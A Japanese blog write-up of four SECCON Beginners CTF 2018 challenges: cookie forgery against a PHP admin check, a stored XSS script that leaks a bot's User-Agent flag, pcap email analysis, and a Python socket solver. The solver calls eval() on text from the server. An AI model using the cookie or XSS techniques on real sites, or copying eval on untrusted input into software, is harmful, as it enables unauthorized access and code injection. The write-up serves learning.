SECCON Beginners CTF 2018 write-up

SECCONの初心者向け大会が、5月26日13時〜翌日13時までの24時間開催されたので、参加してきた。 オンラインでの大会は非常にありがたかったが、家族サービスをしながらの参戦だったので時間的には3-4時間しか参戦できなかった。 とりあえず、勉強したネットワークのところだけはやってみたいという想いから何問か挑戦してみた。 f:id:kyonta1022:20180529014638p:plain

Web

[Warmup] Greeting

phpで書かれたプログラムのバグをついてFlagを入手する問題。

ようこそ!
http://greeting.chall.beginners.seccon.jp

URLにアクセスすると、以下のページが表示される。

<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>

POSTパラメータが未設定で、Cookieに値が設定されている場合に、その値を使ってFlagの表示・非表示を行っているため、BurpSuiteを使ってリクエストをインターセプトし、内容を書き換える。

POST / HTTP/1.1
Host: greeting.chall.beginners.seccon.jp
Content-Length: 10
Cache-Control: max-age=0
Origin: http://greeting.chall.beginners.seccon.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://greeting.chall.beginners.seccon.jp/
Accept-Encoding: gzip, deflate
Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.326850657.1527329409; _gid=GA1.2.1298991850.1527329409; name=admin
Connection: close

そうするとResponseで帰ってくるhtmlにFlagが表示されている。

こんにちは管理人さん。Flagは、”ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}”です。

Gimme your comment

XSS脆弱性を使って、Flagを入手する問題。

ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

worker_63589eb583b5281458486ae738efd63e04f502b7.js

問題を見るとJavaScriptファイルが添付されてるので、ダウンロードして内容を確認する。

const puppeteer = require("puppeteer");

let origin  = process.env.origin;
let flag = process.env.flag;
let post_id  = process.env.post_id;

(async () => {
    const opt = {
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            "--no-sandbox",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-extensions",
            "--disable-gpu",
            "--disable-sync",
            "--disable-translate",
            "--hide-scrollbars",
            "--metrics-recording-only",
            "--mute-audio",
            "--no-first-run",
            "--safebrowsing-disable-auto-update",
            `--user-agent=${flag}`
        ],
    };
    const browser = await puppeteer.launch(opt);
    const page = await browser.newPage();
    await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
    await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
    await page.click('button[type=submit]');
    await page.waitFor(1000);
    await browser.close();
})();

<script>
$(document).ready(function () {
    var userAgent = window.navigator.userAgent.toLowerCase();
    $('[name="comment_content"]').val(userAgent)
});
</script>

JSの内容と問題文から推測すると、どうやら新規投稿がされた場合に上記JSが実行され、投稿に対してコメントをつけるらしい。puppeteerを調べるとヘッドレスでブラウザを操作するようなライブラリらしいということがわかったので、投稿ページが表示されたときに、--user-agentをcomment_contentに表示させればいいかなと思って以下のJavaScriptを本文にしかける。

<script>
$(document).ready(function () {
    var userAgent = window.navigator.userAgent.toLowerCase();
    $('[name="comment_content"]').val(userAgent)
});
</script>

すると、以下のような回答がよせられる。

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}投稿ありがとうございます。大変参考になりました。

Misc

[Warmup] plain mail

添付されているpcapファイルのパケットを調べてFlagを入手する問題。 タイトルからわかるとおり、smtpのパケットを調べる。調べてくと3通ほど見つかるので、一個ずつ見てみる。 最初に暗号化されたファイルが送信されていて、次にパスワードがあるよと言っていそう。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=103
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection

早速2通目を見てみる。 encrypted.zipというファイルがbase64エンコードされているぽい。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=658
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
Content-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"

--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
.
250 OK id=1fC17I-00005a-Fw
421 67289bb1f069 lost input connection

とりあえずデコードしてzipファイルとして保存してみる。以下のサイトにお世話になる。 www.convertstring.com

zipファイルを開いてみると、flag.txtというファイルが含まれており、パスワードを要求された。 f:id:kyonta1022:20180529004457j:plain

パスワードは最後のメールに含まれているっぽいので、それを見てみる。
パスワードは「you_are_pro」らしい。

220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
250 OK
rcpt TO:<you@4b.local>
250 Accepted
data
354 Enter message, ending with "." on a line by itself
_you_are_pro_
.
250 OK id=1fC17K-00005h-AC
421 67289bb1f069 lost input connection

zipに上記パスワードをいれてflag.txtを開いてみると、中にFlagが書かれている

ctf4b{email_with_encrypted_file}

[Warmup] Welcome

公式のIRCを見て、Flagを入手する問題。

フラグは公式IRCチャンネルのトピックにあります。

ルールの項番5を見ると、IRCのリンクが書かれているので飛んでみる。

アナウンスはSECCON Beginners公式Twitterアカウントもしくは、公式IRCチャンネル(freenode #seccon-beginners-ctf)からアナウンスを行います

ログイン画面が表示されるので、適当なニックネームで入ってみると、Flagが上のほうに表示されていた。

#seccon-beginners-ctf: Flag for welcome: ctf4b{welcome_to_seccon_beginners_ctf}

てけいさんえくすとりーむず

制限時間内に四則演算100問を解くとFlagを入手できる。

てけいさんのプロのために作りました。
えくすとりーむなので300秒でタイムアウトします。

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

とりあえず、素直に表示されているncコマンドをたたいてみる。

Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
Wrong, see you.
---------------------------------------------------------------
(Stage.1)
828 - 887 =

これを愚直にやるのはめんどくさいし無理だろうなという事で、問題と回答した時のパケットを見てみる。

問題

0000   78 4f 43 7d ad c5 00 30 13 b6 7e c4 08 00 45 02  xOC}...0..~...E.
0010   00 4a 99 0e 40 00 32 06 5f 51 85 f2 ea 8c c0 a8  .J..@.2._Q......
0020   1f 25 21 f2 fa 95 d7 66 20 d0 a8 31 20 19 80 18  .%!....f ..1 ...
0030   00 e3 fd 53 00 00 01 01 08 0a 00 a5 c2 6c 41 29  ...S.........lA)
0040   a6 8f 28 53 74 61 67 65 2e 32 29 0a 37 39 31 20  ..(Stage.2).791 
0050   2d 20 39 37 39 20 3d 20                          - 979 = 

回答

0000   00 30 13 b6 7e c4 78 4f 43 7d ad c5 08 00 45 02  .0..~.xOC}....E.
0010   00 3b 00 00 40 00 40 06 ea 6e c0 a8 1f 25 85 f2  .;..@.@..n...%..
0020   ea 8c fa 95 21 f2 a8 31 20 12 d7 66 20 d0 80 18  ....!..1 ..f ...
0030   10 0c 1d d0 00 00 01 01 08 0a 41 29 a6 8f 00 a5  ..........A)....
0040   86 90 39 33 31 30 38 31 0a                       ..931081.

問題文を見ると、<LF>0AでStageや式が区切られており、回答としては、答え+<LF>を送りつければ良さそう。 という事で、Pythonでソケット通信して自動回答するプログラムを組んでみる。

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))

for i in range(100):
    stage = client.recv(4096)
    ans = eval(stage.split("\n")[-1].split("=")[0])
    client.send(str(ans)+"\n")
    print stage + str(ans)

flag = client.recv(4096)
print flag

すると、100問目の回答の後にFlagが表示された。

Congrats.
Flag is: "ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}"

感想

CTFの問題はネットワークフォレンジック系の勉強しかしてなかったので、一問も解けないんじゃないか?と心配していたが、 最初の方の問題は頑張れば解けそうな問題が多く、やっていて楽しかった。ただ、一番楽しそうな「Crypt」「Pwn」「Reversing」については、全然時間を取れなかったので、 サイトが閉鎖されるまでの残り一月の間にチャレンジしてみようと思う。 今度オンラインでCTFが開催された時は、ちゃんと時間をとってチームでわいわいやりながら参戦したら面白そうだなと思ったので、次の挑戦としたい。